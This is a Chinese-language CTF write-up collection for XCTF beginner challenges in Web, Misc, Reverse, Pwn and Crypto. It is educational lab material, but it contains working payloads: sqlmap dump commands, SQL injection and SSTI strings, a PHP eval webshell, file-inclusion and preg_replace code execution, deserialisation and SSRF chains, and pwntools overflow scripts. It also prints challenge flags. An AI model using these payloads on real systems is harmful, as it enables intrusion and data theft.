Web view_source X老师让小宁同学查看一个网页的源代码,但小宁同学发现鼠标右键好像不管用了。
点击开发人员工具 即可
robots X老师上课讲了Robots协议,小宁同学却上课打了瞌睡,赶紧来教教小宁Robots协议是什么吧。
如题,访问 /robots.txt
即可
backup X老师忘记删除备份文件,他派小宁同学去把备份文件找出来,一起来帮小宁同学吧!
猜测 index.php.bak
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <html> <head> <meta charset="UTF-8" > <title>备份文件</title> <link href="http://libs.baidu.com/bootstrap/3.0.3/css/bootstrap.min.css" rel="stylesheet" /> <style> body{ margin-left:auto; margin-right:auto; margin-TOP:200PX; width:20em; } </style> </head> <body> <h3>你知道index.php的备份文件名吗?</h3> <?php $flag="Cyberpeace{855A1C4B3401294CB6604CCC98BDE334}" ?> </body> </html>
cookie X老师告诉小宁他在cookie里放了些东西,小宁疑惑地想:‘这是夹心饼干的意思吗?’
F12 查看 cookie
X老师今天上课讲了前端知识,然后给了大家一个不能按的按钮,小宁惊奇地发现这个按钮按不下去,到底怎么才能按下去呢?
F12 删掉 disabled 再点击即可
get_post X老师告诉小宁同学HTTP通常使用两种请求方法,你知道是哪两种吗?
curl -X POST http://61.147.171.105:53979/?a=1 -d "b=2"
weak_auth 小宁写了一个登陆验证页面,随手就设了一个密码。
弱密码
弱密码猜测 admin/123456
simple_php 小宁听说php是最好的语言,于是她简单学习之后写了几行php代码。
PHP 弱类型
在PHP中,当使用双等号(==)进行比较时,如果比较的两个值类型不同,PHP会尝试将它们转换为相同的类型然后再进行比较。在这种情况下,字符串和整数进行比较时,字符串会被尝试转换为数字。
在PHP中,如果字符串不是以有效的数值开头,它会被转换为0。
故传入 a=a
绕过方法 is_numeric函数对于空字符%00,无论是%00放在前后都可以判断为非数值,而%20空格字符只能放在数值后,因为查看函数发现该函数对于第一个空格字符会跳过空格字符直接判断后面的内容
构造:
1 2 3 4 ?b = 1235 %00 ?b = 1235 %20 ?b = 1235 ' ?b = 1235a
得
command_execution 小宁写了个ping功能,但没有写waf,X老师告诉她这是非常危险的,你知道为什么吗。
1 2 3 4 & 表示任务后台执行 | 上一条命令的输出,作为下一条命令参数(输入) && 表示前一条命令执行成功时,才执行后一条命令 || 表示上一条命令执行失败后,才执行下一条命令
根目录和当前目录都无,于是 find 命令从 /
寻找 flag 文件
Training-WWW-Robots 根据提示访问 /robots.txt
继续访问即可
xff_referer X老师告诉小宁其实xff和referer是可以伪造的。
根据提示,追加 X-Forwarded-For
得到
追加 Referer
得到
baby_web 想想初始页面是哪个
根据提示访问 index.php
发现 302跳转 于是使用 curl
猜测在响应标头,使用 -i
显示
simple_js 小宁发现了一个网页,但却一直输不对密码。(Flag格式为 Cyberpeace{xxxxxxxxx} )
F12 得到
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 function dechiffre (pass_enc ) { var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65" ; var tab = pass_enc.split (',' ); var tab2 = pass.split (',' ); var i, j, k, l = 0 , m, n, o, p = "" ; i = 0 ; j = tab.length ; k = j + (l) + (n = 0 ); n = tab2.length ; for (i = (o = 0 ); i < (k = j = n); i++) { o = tab[i - l]; p += String .fromCharCode ((o = tab2[i])); if (i == 5 ) break ; } for (i = (o = 0 ); i < (k = j = n); i++) { o = tab[i - l]; if (i > 5 && i < k - 1 ) p += String .fromCharCode ((o = tab2[i])); } p += String .fromCharCode (tab2[17 ]); pass = p; return pass; }String ["fromCharCode" ](dechiffre ("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30" )); h = window .prompt ('Enter password' );alert (dechiffre (h));
乍一看要解密,其实没关系
取出 \x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30
1 2 3 4 5 6 7 console .log ( String .fromCharCode ( ...'\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30' .split ( ',' ) ) )
Cyberpeace{} 包裹即可
PHP2 点开啥都没有
dirsearch 启动
得到
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php if ("admin" ===$_GET [id]) { echo ("<p>not allowed!</p>" ); exit (); }$_GET [id] = urldecode ($_GET [id]);if ($_GET [id] == "admin" ) { echo "<p>Access granted!</p>" ; echo "<p>Key: xxxxxxx </p>" ; }?> Can you anthenticate to this website?
可以看出来是二次渲染
http://61.147.171.105:64045/?id=%2561dmin
浏览器请求的时候会把 %25
编码为 %
所以传上去的数据为 %61dmin
ics-06 云平台报表中心收集了设备管理基础服务的数据,但是数据被删除了,只有一处留下了入侵者的痕迹。
报表中心可跳转
没想到,看wp复现的
原来是个爆破
unserialize3 1 2 3 4 5 6 class xctf {public $flag = '111' ;public function __wakeup ( ) {exit ('bad requests' ); } ?code=
绕 __wakeup
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php class xctf { public $flag = '111' ; public function __wakeup ( ) { exit ('bad requests' ); } }$a = new xctf ();$a ->flag = 'flag' ;echo serialize ($a );?>
得到O:4:"xctf":1:{s:4:"flag";s:4:"flag";}
修改 xctf 后的数字为 1 以上即可
php_rce tp 漏洞
蚁剑连接,访问根目录即可
Web_php_include 1 2 3 4 5 6 7 8 9 <?php show_source (__FILE__ );echo $_GET ['hello' ];$page =$_GET ['page' ];while (strstr ($page , "php://" )) { $page =str_replace ("php://" , "" , $page ); }include ($page );?>
过滤了 php://
?page=data://text/plain,<?php system("cat%20fl4gisisish3r3.php");?>
upload1 无过滤文件上传
1 <?php @eval ($_GET [2333 ]); ?>
上传得到路径 upload/1711112145.2.php
warmup F12
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 <?php highlight_file (__FILE__ ); class emmm { public static function checkFile (&$page ) { $whitelist = ["source" =>"source.php" ,"hint" =>"hint.php" ]; if (! isset ($page ) || !is_string ($page )) { echo "you can't see it" ; return false ; } if (in_array ($page , $whitelist )) { return true ; } $_page = mb_substr ( $page , 0 , mb_strpos ($page . '?' , '?' ) ); if (in_array ($_page , $whitelist )) { return true ; } $_page = urldecode ($page ); $_page = mb_substr ( $_page , 0 , mb_strpos ($_page . '?' , '?' ) ); if (in_array ($_page , $whitelist )) { return true ; } echo "you can't see it" ; return false ; } } if (! empty ($_REQUEST ['file' ]) && is_string ($_REQUEST ['file' ]) && emmm::checkFile ($_REQUEST ['file' ]) ) { include $_REQUEST ['file' ]; exit ; } else { echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />" ; } ?>
1 flag not here, and flag in ffffllllaaaagggg
其中
传入 page
后面追加 ?
比如传入 page=hint.php
则相当于
mb_strpos("hint.php?","?")
mb_substr("hint.php", 0, "hint.php")
所以我们可以手动传入带 ?
的 page
source.php?/../../../../ffffllllaaaagggg
include 的时候会把 source.php?
也看成目录,所以需要四个 ../
目录猜测是 /var/www/html
NewsCenter sql注入
单引号写入,回车发现报错,猜测 sql注入
sqlmap启动
py sqlmap.py http://61.147.171.105:57816/ --forms --batch -dbs
>py sqlmap.py http://61.147.171.105:57816/ --forms --batch -D news --tables
py sqlmap.py http://61.147.171.105:57816/ --forms --batch -D news -T secret_table --columns
py sqlmap.py http://61.147.171.105:57816/ --forms --batch -D news -T secret_table -C "fl4g" --dump
Web_php_unserialize 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php class Demo { private $file = 'index.php' ; public function __construct ($file ) { $this ->file = $file ; } function __destruct ( ) { echo @highlight_file ($this ->file, true ); } function __wakeup ( ) { if ($this ->file != 'index.php' ) { $this ->file = 'index.php' ; } } }if (isset ($_GET ['var' ])) { $var = base64_decode ($_GET ['var' ]); if (preg_match ('/[oc]:\d+:/i' , $var )) { die ('stop hacking!' ); } else { @unserialize ($var ); } } else { highlight_file ("index.php" ); } ?>
反序列化,过滤了 形如O:123:
、C:123:
的前缀
首先绕过 __wakeup
在 PHP5 < 5.6.25, PHP7 < 7.0.10 的版本存在wakeup的漏洞。当反序列化中object的个数和之前的个数不等时,wakeup就会被绕过。 其次是正则,这里可以在前缀的数字前加上 +
绕过
1 2 3 4 5 6 7 8 9 10 11 $a = new Demo ("fl4g.php" );$a = serialize ($a );$a = str_replace ('"Demo":1' , '"Demo":2' , $a );$a = str_replace ('O:4' , 'O:+4' , $a );$b =base64_encode ($a );echo $b ;
supersqli 输入 '
发现报错
尝试 1' union select 1,2,3 #
返回 return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
尝试堆叠注入
1';show databases;#
1';show tables ;#
1';show columns from `1919810931114514`;#
看了 wp,发现可以使用 handler
1';handler `1919810931114514` open;handler `1919810931114514` read first;#
web2 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php $miwen ="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws" ;function encode ($str ) { $_o =strrev ($str ); for ($_0 =0 ;$_0 <strlen ($_o );$_0 ++){ $_c =substr ($_o ,$_0 ,1 ); $__ =ord ($_c )+1 ; $_c =chr ($__ ); $_ =$_ .$_c ; } return str_rot13 (strrev (base64_encode ($_ ))); }highlight_file (__FILE__ );?>
1 2 3 4 5 6 7 8 9 10 11 function decode ($miwen ) { $_o =base64_decode (strrev (str_rot13 ($miwen ))); for ($_0 =0 ;$_0 <strlen ($_o );$_0 ++){ $_c =substr ($_o ,$_0 ,1 ); $__ =ord ($_c )-1 ; $_c =chr ($__ ); $_ =$_ .$_c ; } return strrev ($_ ); }print (decode ($miwen ));
Web_python_template_injection 如题 SSTI
访问网址,没东西
猜测路径是注入点
{{[].__class__.__base__.__subclasses__()}}
我们需要 os 模块,故寻找 warnings.catch_warnings
在 [59] 位找到
构造 {{[].__class__.__base__.__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('whoami').read()}}
inget 没想到是 sql,一点回显没有
http://61.147.171.105:53357/?id=1' or '1'='1
即可
mfw 点击发现 ?page
参数,猜测目录穿越
发现屏蔽了 .
访问 page=flag
为空白页面
猜测应该有什么目录,使用 dirsearch
发现 git泄露
使用 githack 下载
得到 index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php if (isset ($_GET ['page' ])) { $page = $_GET ['page' ]; } else { $page = "home" ; }$file = "templates/" . $page . ".php" ;assert ("strpos('$file ', '..') === false" ) or die ("Detected hacking attempt!" );assert ("file_exists('$file ')" ) or die ("That file doesn't exist!" );?>
$file = "templates/" . $page . ".php";
明显存在拼接漏洞
所以传入 ?page='.system('whoami').'
即可
Cat 输入 127.0.0.1 得到 ping 数据回显
尝试管道符号截断发现有WAF
多次尝试无果,查询wp
发现
Django使用的是gbk编码,超过%F7的编码不在gbk中有意义 当 CURLOPT_SAFE_UPLOAD
为 true 时,如果在请求前面加上@的话phpcurl组件是会把后面的当作绝对路径请求,来读取文件。 尝试复现
输入 /index.php?url=%80
得到报错
可得敏感信息
再通过@
拼接路径得到@/opt/api/database.sqlite3
搜索关键词可得
fileclude 文件上传
file_get_contents($file2) === "hello ctf"
可以使用 php://input
同时 post 数据绕过
直接 include(flag.php)
发现无flag回显,猜测在注释里
于是通过base64回显
php://filter/read=convert.base64-encode/resource=flag.php
得到
1 2 3 4 PD9waHAKZWNobyAiV1JPTkcgV0FZISI7Ci8vICRmbGFnID0gY3liZXJwZWFjZXs1YmUxM2IxOWNhNWRjODhkMTNiODA0ZjYyNWNjYzg1NH0= <?php echo "WRONG WAY!"; // $flag = cyberpeace{5be13b19ca5dc88d13b804f625ccc854}
fileinclude 同样文件上传
F12 得到注释的 php
思路很清晰了,同样通过base64回显
php://filter/read=convert.base64-encode/resource=flag
拼接.php
1 2 3 4 PD9waHANCiRmbGFnPSJjeWJlcnBlYWNle2NmZTNkZDdiNDBmM2MzMmJlYjI3MjA1ZmYzMjM2NDJlfSI7DQo/Pg== <?php $flag="cyberpeace{cfe3dd7b40f3c32beb27205ff323642e}"; ?>
ics-05 一个个点打开 设备维护中心
发现 index.php?page=
接口
猜测路径穿越漏洞
index.php?page=/etc/passwd
得到
尝试 php://filter/read=convert.base64-encode/resource=index.php
得到
index.html 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 <?php error_reporting(0); @session_start(); posix_setuid(1000); ?> <!DOCTYPE HTML > <html > <head > <meta charset ="utf-8" > <meta name ="renderer" content ="webkit" > <meta http-equiv ="X-UA-Compatible" content ="IE=edge,chrome=1" > <meta name ="viewport" content ="width=device-width, initial-scale=1, maximum-scale=1" > <link rel ="stylesheet" href ="layui/css/layui.css" media ="all" > <title > 设备维护中心</title > <meta charset ="utf-8" > </head > <body > <ul class ="layui-nav" > <li class ="layui-nav-item layui-this" > <a href ="?page=index" > 云平台设备维护中心</a > </li > </ul > <fieldset class ="layui-elem-field layui-field-title" style ="margin-top: 30px;" > <legend > 设备列表</legend > </fieldset > <table class ="layui-hide" id ="test" > </table > <script type ="text/html" id ="switchTpl" > <input type ="checkbox" name ="sex" value =" {{d.id }} " lay-skin ="switch" lay-text ="开|关" lay-filter ="checkDemo" {{ d.id ==1 0003 ? 'checked' : '' }} > </script > <script src ="layui/layui.js" charset ="utf-8" > </script > <script > layui.use ('table' , function ( ) { var table = layui.table , form = layui.form ; table.render ({ elem : '#test' , url : '/somrthing.json' , cellMinWidth : 80 , cols : [ [ { type : 'numbers' }, { type : 'checkbox' }, { field : 'id' , title : 'ID' , width : 100 , unresize : true , sort : true }, { field : 'name' , title : '设备名' , templet : '#nameTpl' }, { field : 'area' , title : '区域' }, { field : 'status' , title : '维护状态' , minWidth : 120 , sort : true }, { field : 'check' , title : '设备开关' , width : 85 , templet : '#switchTpl' , unresize : true } ] ], page : true }); }); </script > <script > layui.use ('element' , function ( ) { var element = layui.element ; element.on ('nav(demo)' , function (elem ) { layer.msg (elem.text ()); }); }); </script > <?php $page = $_GET[page]; if (isset($page)) { if (ctype_alnum($page)) { ?> <br /> <br /> <br /> <br /> <div style ="text-align:center" > <p class ="lead" > <?php echo $page; die();?> </p > <br /> <br /> <br /> <br /> <?php }else{ ?> <br /> <br /> <br /> <br /> <div style ="text-align:center" > <p class ="lead" > <?php if (strpos($page, 'input') > 0) { die(); } if (strpos($page, 'ta:text') > 0) { die(); } if (strpos($page, 'text') > 0) { die(); } if ($page === 'index.php') { die('Ok'); } include($page); die(); ?> </p > <br /> <br /> <br /> <br /> <?php }} //方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试 if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') { echo "<br >Welcome My Admin ! <br >"; $pattern = $_GET[pat]; $replacement = $_GET[rep]; $subject = $_GET[sub]; if (isset($pattern) && isset($replacement) && isset($subject)) { preg_replace($pattern, $replacement, $subject); }else{ die(); } } ?> </body > </html >
我们摘出关键信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 <?php error_reporting (0 ); @session_start ();posix_setuid (1000 );?> <?php $page = $_GET [page];if (isset ($page )) { if (ctype_alnum ($page )) {?> <br /><br /><br /><br /> <div style="text-align:center" > <p class ="lead "><?php echo $page ; die ();?></p > <br /><br /><br /><br /> <?php }else {?> <br /><br /><br /><br /> <div style="text-align:center" > <p class ="lead "> <?php if (strpos ($page , 'input ') > 0) { die (); } if (strpos ($page , 'ta:text' ) > 0 ) { die (); } if (strpos ($page , 'text' ) > 0 ) { die (); } if ($page === 'index.php' ) { die ('Ok' ); } include ($page ); die (); ?> </p> <br /><br /><br /><br /><?php }}if ($_SERVER ['HTTP_X_FORWARDED_FOR' ] === '127.0.0.1' ) { echo "<br >Welcome My Admin ! <br >" ; $pattern = $_GET [pat]; $replacement = $_GET [rep]; $subject = $_GET [sub]; if (isset ($pattern ) && isset ($replacement ) && isset ($subject )) { preg_replace ($pattern , $replacement , $subject ); }else { die (); } }?>
于是伪造 X-Forwarded-For: 127.0.0.1
绕过检查(这里需要删除 page
参数
再利用 preg_replace
的 /e
模式进行命令执行
?pat=/.*/e&rep=phpinfo();&sub=1
得到路径 s3chahahaDir/flag/flag.php
再次使用前面的 php://filter/read=convert.base64-encode/resource=s3chahahaDir/flag/flag.php
得到flag
easytornado 考察SSTI
1 2 /hints.txt md5(cookie_secret+md5(filename))
1 2 /flag.txt flag in /fllllllllllllag
随便修改参数进入 error?msg=
发现此处可进行渲染
尝试 config
失败
查了下资料要用 handler.settings
,得到
根据 hint
1 filehash = md5('de045cd4-e5cb-445d-83a9-5491b7fb8e9a' + md5('/fllllllllllllag'))
lottry php 弱比较
只要使 $number[$i]
为 true
就行,这样只要 $win_numbers
不全为0即可拿到大奖,多试几次就攒够了
shrine 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import flask import os app = flask.Flask(__name__) app.config['FLAG' ] = os.environ.pop('FLAG' ) @app.route('/' ) def index (): return open (__file__).read() @app.route('/shrine/' ) def shrine (shrine ): def safe_jinja (s ): s = s.replace('(' , '' ).replace(')' , '' ) blacklist = ['config' , 'self' ] return '' .join(['{{% set {}=None%}}' .format (c) for c in blacklist]) + s return flask.render_template_string(safe_jinja(shrine))if __name__ == '__main__' : app.run(debug=True )
一眼SSTI
过滤了(
,)
,config
,self
可以通过 全局变量 绕过
{{url_for.__globals__['current_app'].config.FLAG}}
{{get_flashed_messages.__globals__['current_app'].config.FLAG}}
file_include 尝试 php://filter/read=convert.base64-encode/resource=check.php
发现encode被过滤了
同时base64、rot、quoted也不行
尝试 php://filter/convert.iconv.utf-8.utf-7/resource=check.php
得到
1 +ADw?php if(+ACQAXw-GET+AFsAIg-filename+ACIAXQ)+AHs +ACQ-preg+AF8-match+AF8-username +AD0 'return preg+AF8-match(+ACI-/base+AHw-be+AHw-encode+AHw-print+AHw-zlib+AHw-quoted+AHw-write+AHw-rot13+AHw-read+AHw-string/i+ACI, +ACQAXw-GET+AFsAIg-filename+ACIAXQ)+ADs'+ADs if (eval(+ACQ-preg+AF8-match+AF8-username)) +AHs die(+ACI-do not hack+ACEAIg)+ADs +AH0 +AH0
1 2 3 4 5 <?php $encoded = "+ADw?php if(+ACQAXw-GET+AFsAIg-filename+ACIAXQ)+AHs +ACQ-preg+AF8-match+AF8-username +AD0 'return preg+AF8-match(+ACI-/base+AHw-be+AHw-encode+AHw-print+AHw-zlib+AHw-quoted+AHw-write+AHw-rot13+AHw-read+AHw-string/i+ACI, +ACQAXw-GET+AFsAIg-filename+ACIAXQ)+ADs'+ADs if (eval(+ACQ-preg+AF8-match+AF8-username)) +AHs die(+ACI-do not hack+ACEAIg)+ADs +AH0 +AH0" ;$decoded = iconv ('UTF-7' , 'UTF-8' , $encoded );echo $decoded ;?>
得到
1 2 3 4 5 6 7 8 <?php if ($_GET ["filename" ]){ $preg_match_username = 'return preg_match("/base|be|encode|print|zlib|quoted|write|rot13|read|string/i", $_GET["filename"]);' ; if (eval ($preg_match_username )) { die ("do not hack!" ); } }
猜测 flag.php
得到
1 +ADw?php +ACQ-flag+AD0'cyberpeace+AHs-3e6bc52e2f48074bc1530a88d5466a2b+AH0'+ADs
即 cyberpeace{3e6bc52e2f48074bc1530a88d5466a2b}
easyphp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 <?php highlight_file (__FILE__ );$key1 = 0 ;$key2 = 0 ;$a = $_GET ['a' ];$b = $_GET ['b' ];if (isset ($a ) && intval ($a ) > 6000000 && strlen ($a ) <= 3 ){ if (isset ($b ) && '8b184b' === substr (md5 ($b ),-6 ,6 )){ $key1 = 1 ; }else { die ("Emmm...再想想" ); } }else { die ("Emmm..." ); }$c =(array )json_decode (@$_GET ['c' ]);if (is_array ($c ) && !is_numeric (@$c ["m" ]) && $c ["m" ] > 2022 ){ if (is_array (@$c ["n" ]) && count ($c ["n" ]) == 2 && is_array ($c ["n" ][0 ])){ $d = array_search ("DGGJ" , $c ["n" ]); $d === false ?die ("no..." ):NULL ; foreach ($c ["n" ] as $key =>$val ){ $val ==="DGGJ" ?die ("no......" ):NULL ; } $key2 = 1 ; }else { die ("no hack" ); } }else { die ("no" ); }if ($key1 && $key2 ){ include "Hgfks.php" ; echo "You're right" ."\n" ; echo $flag ; }?> Emmm...
首先 $a
使用科学计数法绕过即 9e9
(9 * 10 ^9)
$b使用脚本穷举即可,得到 b = 53724
其次 c = {"m":"2023a","n":[["DGGJ"],0]}
其中 array_search()
函数在数组中搜索某个键值,并返回对应的键名,传入0可使其返回值也为0,即可绕过
fakebook view.php?no=
存在sql注入
其中过滤了命令中的空格
?no=-1 union/**/select/**/1,group_concat(no,'~',username,'~',passwd,'~',data),3,4/**/from/**/fakebook.users
绕过
可以看出 data 列中储存的是序列化后的字符串
同时访问robots.txt
发现存在备份文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 <?php class UserInfo { public $name = "" ; public $age = 0 ; public $blog = "" ; public function __construct ($name , $age , $blog ) { $this ->name = $name ; $this ->age = (int )$age ; $this ->blog = $blog ; } function get ($url ) { $ch = curl_init (); curl_setopt ($ch , CURLOPT_URL, $url ); curl_setopt ($ch , CURLOPT_RETURNTRANSFER, 1 ); $output = curl_exec ($ch ); $httpCode = curl_getinfo ($ch , CURLINFO_HTTP_CODE); if ($httpCode == 404 ) { return 404 ; } curl_close ($ch ); return $output ; } public function getBlogContents ( ) { return $this ->get ($this ->blog); } public function isValidBlog ( ) { $blog = $this ->blog; return preg_match ("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i" , $blog ); } }
serialize 综上,需要我们构造反序列化链
因为 curl_exec 无防护,所以可以进行SSRF伪造
1 2 3 4 5 6 7 8 9 10 <?php class UserInfo { public $name = "test" ; public $age = 1 ; public $blog = "file:///var/www/html/flag.php" ; }$res = new UserInfo ();echo serialize ($res );
再通过 -1 union/**/select/**/1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:4:"test";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
回显
load_file 回显点在第二个位置所以尝试直接 load_file 读取文件
?no=-1 union/**/select/**/1,load_file("/var/www/html/flag.php"),3,4
easyupload 文件上传,有内容检测
尝试发现 有 后端后缀检测 、文件不能包含PHP字段 、文件头检测 、.htacess过滤 、MIME检测
而 .user.ini
存活,
原理:.user.ini文件构成的PHP后门 - phith0n (wooyun.js.org)
Misc this_is_flag 题干得
pdf 浏览器打开,Ctrl
+A
复制即可
如来十三掌 1 夜哆悉諳多苦奢陀奢諦冥神哆盧穆皤三侄三即諸諳即冥迦冥隸數顛耶迦奢若吉怯陀諳怖奢智侄諸若奢數菩奢集遠俱老竟寫明奢若梵等盧皤豆蒙密離怯婆皤礙他哆提哆多缽以南哆心曰姪罰蒙呐神。舍切真怯勝呐得俱沙罰娑是怯遠得呐數罰輸哆遠薩得槃漫夢盧皤亦醯呐娑皤瑟輸諳尼摩罰薩冥大倒參夢侄阿心罰等奢大度地冥殿皤沙蘇輸奢恐豆侄得罰提哆伽諳沙楞缽三死怯摩大蘇者數一遮
得到 MzkuM3gvMUAwnzuvn3cgozMlMTuvqzAenJchMUAeqzWenzEmLJW9
根据题意 rot13 解码
ZmxhZ3tiZHNjamhia3ptbmZyZGhidmNraWpuZHNrdmJramRzYWJ9
再通过 base64
give_you_flag 用 stegsolver 逐帧查看得到二维码
补上定位码扫描即可
坚持60s idea 打开,查找得
Reverse insanity 菜鸡觉得前面的题目太难了,来个简单的缓一下
ida 打开
shift
+ F12
得到
game 菜鸡最近迷上了玩游戏,但它总是赢不了,你可以帮他获胜吗
shift
+ F12
跳过来
异或回去就行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 def sub_45E940 (): v2 = bytearray (b"{ " ) v2.extend([18 , 98 , 119 , 108 , 65 , 41 , 124 , 80 , 125 , 38 , 124 , 111 , 74 , 49 , 83 , 108 , 94 , 108 , 84 , 6 ]) v2.extend(b"`S,yhn _uec{" ) v2.extend([127 , 119 , 96 , 48 , 107 , 71 , 92 , 29 , 81 , 107 , 90 , 85 , 64 , 12 , 43 , 76 , 86 , 13 , 114 , 1 , 117 , 126 , 0 ]) v5 = bytearray ( [18 , 64 , 98 , 5 , 2 , 4 , 6 , 3 , 6 , 48 , 49 , 65 , 32 , 12 , 48 , 65 , 31 , 78 , 62 , 32 , 49 , 32 , 1 , 57 , 96 , 3 , 21 , 9 , 4 , 62 , 3 , 5 , 4 , 1 , 2 , 3 , 44 , 65 , 78 , 32 , 16 , 97 , 54 , 16 , 44 , 52 , 32 , 64 , 89 , 45 , 32 , 65 , 15 , 34 , 18 , 16 , 0 ] ) for i in range (56 ): v2[i] ^= v5[i] v2[i] ^= 0x13 return v2.decode()print (sub_45E940())
open-source 菜鸡学逆向学得头皮发麻,终于它拿到了一段源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 #include <stdio.h> #include <string.h> int main (int argc, char *argv[]) { if (argc != 4 ) { printf ("what?\n" ); exit (1 ); } unsigned int first = atoi(argv[1 ]); if (first != 0xcafe ) { printf ("you are wrong, sorry.\n" ); exit (2 ); } unsigned int second = atoi(argv[2 ]); if (second % 5 == 3 || second % 17 != 8 ) { printf ("ha, you won't get it!\n" ); exit (3 ); } if (strcmp ("h4cky0u" , argv[3 ])) { printf ("so close, dude!\n" ); exit (4 ); } printf ("Brr wrrr grr\n" ); unsigned int hash = first * 31337 + (second % 17 ) * 11 + strlen (argv[3 ]) - 1615810207 ; printf ("Get your key: " ); printf ("%x\n" , hash); return 0 ; }
审计代码
前面的判断都可以删去,同时把 hash 得参数填入即可
1 2 unsigned int hash = 0xcafe * 31337 + (8 ) * 11 + strlen ("h4cky0u" ) - 1615810207 ;
Hello, CTF
1 2 3 4 5 v13 = "437261636b4d654a757374466f7246756e" for i in range (0 , 34 , 2 ): print (chr (int (v13[i : i + 2 ], 16 )), end="" )
Pwn hello_pwn
于是
1 2 3 4 5 6 7 8 9 10 from pwn import * context.log_level = "debug" p = remote("61.147.171.105" , 62725 ) p.recvuntil(b"lets get helloworld for bof\n" ) p.sendline(b"A" * 4 + p64(1853186401 )) p.interactive()
level0 read栈溢出
pwndbg调试
跳到输入点
得到
1 2 3 4 5 6 7 8 9 10 11 from pwn import * p = remote("61.147.171.105" , 52815 ) p.recvuntil(b"Hello, World\n" ) p.sendline(b"A" * (136 ) + p64(0x4005F4 ) + p64(0x400596 )) p.interactive()
level2 查找字符串表有 /bin/su
,以及根据提示是 ROP
0x88 + 0x04
覆盖掉,并用 system 的地址替换本来的返回地址
system 的返回用任意4字符覆盖,最后拼接 /bin/su
的地址
1 2 3 4 5 6 7 8 9 10 11 from pwn import * context.arch = "i386" p = remote("61.147.171.105" , 56419 ) p.recvuntil(b"Input:\n" ) p.sendline(b"A" * (0x88 + 0x04 ) + p32(0x8048320 ) + b"A" * 4 + p32(0x0804A024 )) p.interactive()
Crypto base64 元宵节灯谜是一种古老的传统民间观灯猜谜的习俗。 因为谜语能启迪智慧又饶有兴趣,灯谜增添节日气氛,是一项很有趣的活动。 你也很喜欢这个游戏,这不,今年元宵节,心里有个黑客梦的你,约上你青梅竹马的好伙伴小鱼, 来到了cyberpeace的攻防世界猜谜大会,也想着一展身手。 你们一起来到了小孩子叽叽喳喳吵吵闹闹的地方,你俩抬头一看,上面的大红灯笼上写着一些奇奇怪怪的 字符串,小鱼正纳闷呢,你神秘一笑,我知道这是什么了。
如题名
Caesar 你成功的解出了来了灯谜,小鱼一脸的意想不到“没想到你懂得这么多啊!” 你心里面有点小得意,“那可不是,论学习我没你成绩好轮别的我知道的可不比你少,走我们去看看下一个” 你们继续走,看到前面也是热热闹闹的,同样的大红灯笼高高挂起,旁边呢好多人叽叽喳喳说个不停。你一看 大灯笼,上面还是一对字符,你正冥思苦想呢,小鱼神秘一笑,对你说道,我知道这个的答案是什么了
oknqdbqmoq{kag_tmhq_xqmdzqp_omqemd_qzodkbfuaz}
如题名
